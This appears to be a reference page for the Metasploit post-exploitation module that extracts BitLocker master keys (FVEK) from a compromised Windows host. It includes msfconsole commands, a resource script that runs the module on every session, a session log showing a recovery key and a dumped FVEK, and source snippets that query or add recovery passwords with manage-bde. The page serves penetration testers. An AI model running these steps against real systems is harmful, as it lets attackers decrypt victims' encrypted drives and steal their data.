Bitlocker Master Key (FVEK) Extraction - Metasploit


This page contains detailed information about how to use the post/windows/gather/bitlocker_fvek metasploit module. For list of all metasploit modules, visit the Metasploit Module Library.

Module Overview


Name: Bitlocker Master Key (FVEK) Extraction
Module: post/windows/gather/bitlocker_fvek
Source code: modules/post/windows/gather/bitlocker_fvek.rb
Disclosure date: -
Last modification time: 2021-10-06 13:43:31 +0000
Supported architecture(s): -
Supported platform(s): Windows
Target service / protocol: -
Target network port(s): -
List of CVEs: -

This module enumerates ways to decrypt Bitlocker volume and if a recovery key is stored locally or can be generated, dump the Bitlocker master key (FVEK)

Module Ranking and Traits


Module Ranking:

  • normal: The exploit is otherwise reliable, but depends on a specific version and can't (or doesn't) reliably autodetect. More information about ranking can be found here.

Basic Usage


There are two ways to execute this post module.

From the Meterpreter prompt

The first is by using the "run" command at the Meterpreter prompt. It allows you to run the post module against that specific session:

meterpreter > run post/windows/gather/bitlocker_fvek

From the msf prompt

The second is by using the "use" command at the msf prompt. You will have to figure out which session ID to set manually. To list all session IDs, you can use the "sessions" command.

msf > use post/windows/gather/bitlocker_fvek
msf post(bitlocker_fvek) > show options
    ... show and set options ...
msf post(bitlocker_fvek) > set SESSION session-id
msf post(bitlocker_fvek) > exploit

If you wish to run the post against all sessions from framework, here is how:

1 - Create the following resource script:


framework.sessions.each_pair do |sid, session|
  run_single("use post/windows/gather/bitlocker_fvek")
  run_single("set SESSION #{sid}")
  run_single("run")
end

2 - At the msf prompt, execute the above resource script:

msf > resource path-to-resource-script

Required Options


  • SESSION: The session to run this module on.

  • DRIVE_LETTER: Dump informations from the DRIVE_LETTER encrypted with Bitlocker

Knowledge Base


Vulnerable Application


This module enumerates ways to decrypt a Bitlocker volume and if a recovery key is stored locally or can be generated, dump the Bitlocker master key (FVEK)

Verification Steps


  1. Start msfconsole
  2. Get meterpreter session
  3. Do: use post/windows/gather/bitlocker_fvek
  4. Do: set SESSION <session id>
  5. Do: set DRIVE_LETTER <letter>
  6. Do: run

Options


DRIVE_LETTER

Dump information from the DRIVE_LETTER encrypted with Bitlocker.

RECOVERY_KEY

Use the recovery key provided to decrypt the Bitlocker master key (FVEK).

SESSION

The session to run this module on.

Scenarios


Windows 7 (6.1 Build 7601, Service Pack 1).

  [*] Meterpreter session 1 opened (192.168.1.3:4444 -> 192.168.1.6:49184) at 2019-12-11 12:51:59 -0700

  msf > use post/windows/gather/bitlocker_fvek
  msf post(windows/gather/bitlocker_fvek) > set SESSION 1
    SESSION => 1
  msf post(windows/gather/bitlocker_fvek) > set DRIVE_LETTER c
    DRIVE_LETTER => c
  msf post(windows/gather/bitlocker_fvek) > run

    [+] Successfuly opened Disk 0
    [*] Trying to gather a recovery key
    [+] Recovery key found : 579744-627517-149402-208362-055022-542289-041470-364089
    [*] The recovery key derivation usually take 20 seconds...
    [+] Successfully extract FVEK in /root/.msf4/loot/20191211125311_default_192.168.1.6_windows.file_437952.bin
    [+] This hard drive could later be decrypted using : dislocker -k  ...
    [*] Post Successful
    [*] Post module execution completed
  msf post(windows/gather/bitlocker_fvek) > sessions 1
    [*] Starting interaction with 1...

  meterpreter > sysinfo
    Computer        : TEST-PC
    OS              : Windows 7 (6.1 Build 7601, Service Pack 1).
    Architecture    : x86
    System Language : en_US
    Domain          : DOMAIN
    Logged On Users : 1
    Meterpreter     : x86/windows
  meterpreter > getuid
    Server username: NT AUTHORITY\SYSTEM

Go back to menu.

Msfconsole Usage


Here is how the windows/gather/bitlocker_fvek post exploitation module looks in the msfconsole:

msf6 > use post/windows/gather/bitlocker_fvek

msf6 post(windows/gather/bitlocker_fvek) > show info

       Name: Bitlocker Master Key (FVEK) Extraction
     Module: post/windows/gather/bitlocker_fvek
   Platform: Windows
       Arch: 
       Rank: Normal

Provided by:
  Danil Bazin <[email protected]>

Compatible session types:
  Meterpreter

Basic options:
  Name          Current Setting  Required  Description
  ----          ---------------  --------  -----------
  DRIVE_LETTER                   yes       Dump informations from the DRIVE_LETTER encrypted with Bitlocker
  RECOVERY_KEY                   no        Use the recovery key provided to decrypt the Bitlocker master key (FVEK)
  SESSION                        yes       The session to run this module on.

Description:
  This module enumerates ways to decrypt Bitlocker volume and if a 
  recovery key is stored locally or can be generated, dump the 
  Bitlocker master key (FVEK)

References:
  https://github.com/libyal/libbde/blob/master/documentation/BitLocker Drive Encryption (BDE) format.asciidoc
  http://www.hsc.fr/ressources/outils/dislocker/

Module Options


This is a complete list of options available in the windows/gather/bitlocker_fvek post exploitation module:

msf6 post(windows/gather/bitlocker_fvek) > show options

Module options (post/windows/gather/bitlocker_fvek):

   Name          Current Setting  Required  Description
   ----          ---------------  --------  -----------
   DRIVE_LETTER                   yes       Dump informations from the DRIVE_LETTER encrypted with Bitlocker
   RECOVERY_KEY                   no        Use the recovery key provided to decrypt the Bitlocker master key (FVEK)
   SESSION                        yes       The session to run this module on.

Advanced Options


Here is a complete list of advanced options supported by the windows/gather/bitlocker_fvek post exploitation module:

msf6 post(windows/gather/bitlocker_fvek) > show advanced

Module advanced options (post/windows/gather/bitlocker_fvek):

   Name       Current Setting  Required  Description
   ----       ---------------  --------  -----------
   VERBOSE    false            no        Enable detailed status messages
   WORKSPACE                   no        Specify the workspace for this module

Post Actions


This is a list of all post exploitation actions which the windows/gather/bitlocker_fvek module can do:

msf6 post(windows/gather/bitlocker_fvek) > show actions

Post actions:

   Name  Description
   ----  -----------

Evasion Options


Here is the full list of possible evasion options supported by the windows/gather/bitlocker_fvek post exploitation module in order to evade defenses (e.g. Antivirus, EDR, Firewall, NIDS etc.):

msf6 post(windows/gather/bitlocker_fvek) > show evasion

Module evasion options:

   Name  Current Setting  Required  Description
   ----  ---------------  --------  -----------

Go back to menu.

Error Messages


This module may fail with the following error messages:

Check for the possible causes from the code snippets below found in the module source code. This can often times help in identifying the root cause of the problem.

Module not valid for OS older that Windows 7


Here is a relevant code snippet related to the "Module not valid for OS older that Windows 7" error message:

43:	  def run
44:	    file_path = session.sys.config.getenv('windir') << '\\system32\\win32k.sys'
45:	    major, minor, _build, _revision, _branch = file_version(file_path)
46:	    winver = (major.to_s + '.' + minor.to_s).to_f
47:	
48:	    fail_with(Failure::NoTarget, 'Module not valid for OS older that Windows 7') if winver <= 6
49:	    fail_with(Failure::NoAccess, 'You don\'t have administrative privileges') unless is_admin?
50:	
51:	    drive_letter = datastore['DRIVE_LETTER']
52:	    system_root = expand_path('%SYSTEMROOT%')
53:	

You don't have administrative privileges


Here is a relevant code snippet related to the "You don't have administrative privileges" error message:

44:	    file_path = session.sys.config.getenv('windir') << '\\system32\\win32k.sys'
45:	    major, minor, _build, _revision, _branch = file_version(file_path)
46:	    winver = (major.to_s + '.' + minor.to_s).to_f
47:	
48:	    fail_with(Failure::NoTarget, 'Module not valid for OS older that Windows 7') if winver <= 6
49:	    fail_with(Failure::NoAccess, 'You don\'t have administrative privileges') unless is_admin?
50:	
51:	    drive_letter = datastore['DRIVE_LETTER']
52:	    system_root = expand_path('%SYSTEMROOT%')
53:	
54:	    cmd_out = cmd_exec('wmic', "logicaldisk #{drive_letter}: ASSOC:list /assocclass:Win32_LogicalDiskToPartition")

GetLastError


Here is a relevant code snippet related to the "GetLastError" error message:

63:	                                            nil,
64:	                                            'OPEN_EXISTING',
65:	                                            'FILE_FLAG_WRITE_THROUGH',
66:	                                            0)
67:	
68:	    if r['GetLastError'] != ERROR::SUCCESS
69:	      fail_with(Failure::Unknown,
70:	                "Error opening #{drive_letter}. Windows Error Code: #{r['GetLastError']}
71:	         - #{r['ErrorMessage']}")
72:	    end
73:	

Error opening <DRIVE_LETTER>. Windows Error Code: <GETLASTERROR>


Here is a relevant code snippet related to the "Error opening <DRIVE_LETTER>. Windows Error Code: <GETLASTERROR>" error message:

65:	                                            'FILE_FLAG_WRITE_THROUGH',
66:	                                            0)
67:	
68:	    if r['GetLastError'] != ERROR::SUCCESS
69:	      fail_with(Failure::Unknown,
70:	                "Error opening #{drive_letter}. Windows Error Code: #{r['GetLastError']}
71:	         - #{r['ErrorMessage']}")
72:	    end
73:	
74:	    @handle = r['return']
75:	    print_good("Successfully opened Disk #{drive_number}")

manage-bde.exe not found


Here is a relevant code snippet related to the "manage-bde.exe not found" error message:

83:	
84:	      manage_bde = "#{system_root}\\system32\\manage-bde.exe"
85:	      unless exist?(manage_bde)
86:	        manage_bde = "#{system_root}\\sysnative\\manage-bde.exe"
87:	        unless exist?(manage_bde)
88:	          fail_with(Failure::Unknown, 'manage-bde.exe not found')
89:	        end
90:	      end
91:	
92:	      cmd_out = cmd_exec(manage_bde, "-protectors -get #{drive_letter}:")
93:	

No recovery key found, trying to generate a new recovery key


Here is a relevant code snippet related to the "No recovery key found, trying to generate a new recovery key" error message:

95:	
96:	      if !recovery_key.nil?
97:	        recovery_key = recovery_key[1]
98:	        print_good("Recovery key found : #{recovery_key}")
99:	      else
100:	        print_status('No recovery key found, trying to generate a new recovery key')
101:	        cmd_out = cmd_exec(manage_bde,
102:	                           "-protectors -add #{drive_letter}: -RecoveryPassword")
103:	        recovery_key = cmd_out.match(/((\d{6}-){7}\d{6})/)
104:	        id_key_tmp = cmd_out.match(/(\{[^\}]+\})/)
105:	        if !recovery_key.nil?

Recovery Key generation failed


Here is a relevant code snippet related to the "Recovery Key generation failed" error message:

105:	        if !recovery_key.nil?
106:	          recovery_key = recovery_key[1]
107:	          id_key_tmp = id_key_tmp[1]
108:	          print_good("Recovery key generated successfully : #{recovery_key}")
109:	        else
110:	          print_error('Recovery Key generation failed')
111:	          print_status('No recovery key can be used')
112:	          return
113:	        end
114:	      end
115:	    end

No recovery key can be used


Here is a relevant code snippet related to the "No recovery key can be used" error message:

106:	          recovery_key = recovery_key[1]
107:	          id_key_tmp = id_key_tmp[1]
108:	          print_good("Recovery key generated successfully : #{recovery_key}")
109:	        else
110:	          print_error('Recovery Key generation failed')
111:	          print_status('No recovery key can be used')
112:	          return
113:	        end
114:	      end
115:	    end
116:	

Failed to generate FVEK, wrong recovery key?


Here is a relevant code snippet related to the "Failed to generate FVEK, wrong recovery key?" error message:

123:	        stored_path = store_loot('windows.file', 'application/octet-stream',
124:	                                 session, fvek)
125:	        print_good("Successfuly extract FVEK in #{stored_path}")
126:	        print_good('This hard drive could later be decrypted using : dislocker -k <key_file> ...')
127:	      else
128:	        print_error('Failed to generate FVEK, wrong recovery key?')
129:	      end
130:	    ensure
131:	      unless id_key_tmp.nil?
132:	        print_status('Deleting temporary recovery key')
133:	        cmd_exec(manage_bde,

Go back to menu.


References


See Also


Check also the following modules related to this module:

Authors


  • Danil Bazin <danil.bazin[at]hsc.fr>

Version


This page has been produced using Metasploit Framework version 6.2.1-dev. For more modules, visit the Metasploit Module Library.

Go back to menu.